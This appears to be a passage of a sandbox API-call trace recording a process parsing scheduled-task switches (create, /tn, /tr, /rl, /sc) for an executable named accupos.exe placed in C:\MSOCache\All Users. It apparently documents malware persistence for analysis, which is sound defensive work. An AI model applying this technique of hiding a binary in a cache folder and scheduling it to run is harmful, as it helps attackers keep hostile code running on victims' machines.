(lpString="i") returned 1 [0123.318] lstrlenW (lpString="i") returned 1 [0123.318] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.318] lstrlenW (lpString="tr") returned 2 [0123.318] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.318] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|i|") returned 3 [0123.318] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.318] lstrlenW (lpString="|i|") returned 3 [0123.318] lstrlenW (lpString="|tr|") returned 4 [0123.318] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.318] lstrlenW (lpString="tn") returned 2 [0123.318] lstrlenW (lpString="tn") returned 2 [0123.318] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.318] lstrlenW (lpString="tr") returned 2 [0123.318] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.318] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.318] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.318] lstrlenW (lpString="|tn|") returned 4 [0123.318] lstrlenW (lpString="|tr|") returned 4 [0123.318] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0123.318] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.318] lstrlenW (lpString="tr") returned 2 [0123.318] lstrlenW (lpString="tr") returned 2 [0123.318] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.318] lstrlenW (lpString="tr") returned 2 [0123.318] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.318] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.318] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.318] lstrlenW (lpString="|tr|") returned 4 [0123.318] lstrlenW (lpString="|tr|") returned 4 [0123.318] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0123.318] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.318] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.319] lstrlenW (lpString="-/") returned 2 [0123.319] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.319] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'" [0123.319] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.319] _memicmp (_Buf1=0x23fabffac10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.319] _memicmp (_Buf1=0x23fabffacb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] lstrlenW (lpString="'C") returned 2 [0123.319] lstrlenW (lpString="-/") returned 2 [0123.319] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.319] _memicmp (_Buf1=0x23fabffa990, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.319] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.319] GetProcessHeap () returned 0x23fabff0000 [0123.319] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffa9f0) returned 1 [0123.319] GetProcessHeap () returned 0x23fabff0000 [0123.319] RtlReAllocateHeap (Heap=0x23fabff0000, Flags=0xc, Ptr=0x23fabffa9f0, Size=0x9a) returned 0x23fabff3ba0 [0123.319] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.319] lstrlenW (lpString=" \x09") returned 2 [0123.319] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0123.319] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0123.319] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0123.319] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0123.319] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0123.319] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0123.319] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0123.320] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0123.320] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0123.321] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0123.322] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0123.322] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0123.322] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0123.322] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0123.322] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0123.322] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0123.322] GetLastError () returned 0x0 [0123.322] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.322] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0123.322] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.322] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.322] lstrlenW (lpString="/rl") returned 3 [0123.322] lstrlenW (lpString="-/") returned 2 [0123.322] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.322] lstrlenW (lpString="create") returned 6 [0123.322] lstrlenW (lpString="create") returned 6 [0123.322] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.322] lstrlenW (lpString="rl") returned 2 [0123.322] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.322] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|create|") returned 8 [0123.322] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.322] lstrlenW (lpString="|create|") returned 8 [0123.322] lstrlenW (lpString="|rl|") returned 4 [0123.322] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0123.322] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.322] lstrlenW (lpString="?") returned 1 [0123.322] lstrlenW (lpString="?") returned 1 [0123.322] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.322] lstrlenW (lpString="rl") returned 2 [0123.322] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.323] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|?|") returned 3 [0123.323] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.323] lstrlenW (lpString="|?|") returned 3 [0123.323] lstrlenW (lpString="|rl|") returned 4 [0123.323] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.323] lstrlenW (lpString="s") returned 1 [0123.323] lstrlenW (lpString="s") returned 1 [0123.323] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.323] lstrlenW (lpString="rl") returned 2 [0123.323] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.323] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|s|") returned 3 [0123.323] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.323] lstrlenW (lpString="|s|") returned 3 [0123.323] lstrlenW (lpString="|rl|") returned 4 [0123.323] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.323] lstrlenW (lpString="u") returned 1 [0123.323] lstrlenW (lpString="u") returned 1 [0123.323] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.323] lstrlenW (lpString="rl") returned 2 [0123.323] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.323] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|u|") returned 3 [0123.323] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.323] lstrlenW (lpString="|u|") returned 3 [0123.323] lstrlenW (lpString="|rl|") returned 4 [0123.323] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.323] lstrlenW (lpString="p") returned 1 [0123.323] lstrlenW (lpString="p") returned 1 [0123.323] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.323] lstrlenW (lpString="rl") returned 2 [0123.323] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.323] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|p|") returned 3 [0123.324] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.324] lstrlenW (lpString="|p|") returned 3 [0123.324] lstrlenW (lpString="|rl|") returned 4 [0123.324] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.324] lstrlenW (lpString="ru") returned 2 [0123.324] lstrlenW (lpString="ru") returned 2 [0123.324] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.324] lstrlenW (lpString="rl") returned 2 [0123.324] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.324] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ru|") returned 4 [0123.324] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.324] lstrlenW (lpString="|ru|") returned 4 [0123.324] lstrlenW (lpString="|rl|") returned 4 [0123.324] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0123.324] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.324] lstrlenW (lpString="rp") returned 2 [0123.324] lstrlenW (lpString="rp") returned 2 [0123.324] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.324] lstrlenW (lpString="rl") returned 2 [0123.324] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.324] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rp|") returned 4 [0123.324] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.324] lstrlenW (lpString="|rp|") returned 4 [0123.324] lstrlenW (lpString="|rl|") returned 4 [0123.324] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0123.324] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.325] lstrlenW (lpString="sc") returned 2 [0123.325] lstrlenW (lpString="sc") returned 2 [0123.325] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.325] lstrlenW (lpString="rl") returned 2 [0123.325] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.325] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.325] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.325] lstrlenW (lpString="|sc|") returned 4 [0123.325] lstrlenW (lpString="|rl|") returned 4 [0123.325] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0123.325] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.325] lstrlenW (lpString="mo") returned 2 [0123.325] lstrlenW (lpString="mo") returned 2 [0123.325] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.325] lstrlenW (lpString="rl") returned 2 [0123.325] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.325] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|mo|") returned 4 [0123.325] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.325] lstrlenW (lpString="|mo|") returned 4 [0123.325] lstrlenW (lpString="|rl|") returned 4 [0123.325] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0123.325] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.325] lstrlenW (lpString="d") returned 1 [0123.325] lstrlenW (lpString="d") returned 1 [0123.325] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.325] lstrlenW (lpString="rl") returned 2 [0123.325] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.325] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|d|") returned 3 [0123.325] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.326] lstrlenW (lpString="|d|") returned 3 [0123.326] lstrlenW (lpString="|rl|") returned 4 [0123.326] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.326] lstrlenW (lpString="m") returned 1 [0123.326] lstrlenW (lpString="m") returned 1 [0123.326] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.326] lstrlenW (lpString="rl") returned 2 [0123.326] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.326] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|m|") returned 3 [0123.326] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.326] lstrlenW (lpString="|m|") returned 3 [0123.326] lstrlenW (lpString="|rl|") returned 4 [0123.326] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.326] lstrlenW (lpString="i") returned 1 [0123.326] lstrlenW (lpString="i") returned 1 [0123.326] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.326] lstrlenW (lpString="rl") returned 2 [0123.326] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.326] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|i|") returned 3 [0123.326] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.326] lstrlenW (lpString="|i|") returned 3 [0123.326] lstrlenW (lpString="|rl|") returned 4 [0123.326] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.326] lstrlenW (lpString="tn") returned 2 [0123.326] lstrlenW (lpString="tn") returned 2 [0123.326] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.326] lstrlenW (lpString="rl") returned 2 [0123.326] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.326] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.326] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.326] lstrlenW (lpString="|tn|") returned 4 [0123.327] lstrlenW (lpString="|rl|") returned 4 [0123.327] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0123.327] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.327] lstrlenW (lpString="tr") returned 2 [0123.327] lstrlenW (lpString="tr") returned 2 [0123.327] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.327] lstrlenW (lpString="rl") returned 2 [0123.327] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.327] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.327] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.327] lstrlenW (lpString="|tr|") returned 4 [0123.327] lstrlenW (lpString="|rl|") returned 4 [0123.327] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0123.327] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.327] lstrlenW (lpString="st") returned 2 [0123.327] lstrlenW (lpString="st") returned 2 [0123.327] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.327] lstrlenW (lpString="rl") returned 2 [0123.327] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.327] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|st|") returned 4 [0123.327] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.327] lstrlenW (lpString="|st|") returned 4 [0123.327] lstrlenW (lpString="|rl|") returned 4 [0123.327] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0123.327] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.327] lstrlenW (lpString="sd") returned 2 [0123.327] lstrlenW (lpString="sd") returned 2 [0123.327] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.327] lstrlenW (lpString="rl") returned 2 [0123.327] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.327] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sd|") returned 4 [0123.327] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.328] lstrlenW (lpString="|sd|") returned 4 [0123.328] lstrlenW (lpString="|rl|") returned 4 [0123.328] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0123.328] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.328] lstrlenW (lpString="ed") returned 2 [0123.328] lstrlenW (lpString="ed") returned 2 [0123.328] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.328] lstrlenW (lpString="rl") returned 2 [0123.328] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.328] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ed|") returned 4 [0123.328] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.328] lstrlenW (lpString="|ed|") returned 4 [0123.328] lstrlenW (lpString="|rl|") returned 4 [0123.328] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0123.328] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.328] lstrlenW (lpString="it") returned 2 [0123.328] lstrlenW (lpString="it") returned 2 [0123.328] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.328] lstrlenW (lpString="rl") returned 2 [0123.328] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.328] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|it|") returned 4 [0123.328] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.328] lstrlenW (lpString="|it|") returned 4 [0123.328] lstrlenW (lpString="|rl|") returned 4 [0123.328] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0123.328] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.328] lstrlenW (lpString="et") returned 2 [0123.328] lstrlenW (lpString="et") returned 2 [0123.328] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.328] lstrlenW (lpString="rl") returned 2 [0123.328] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.329] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|et|") returned 4 [0123.329] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.329] lstrlenW (lpString="|et|") returned 4 [0123.329] lstrlenW (lpString="|rl|") returned 4 [0123.329] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 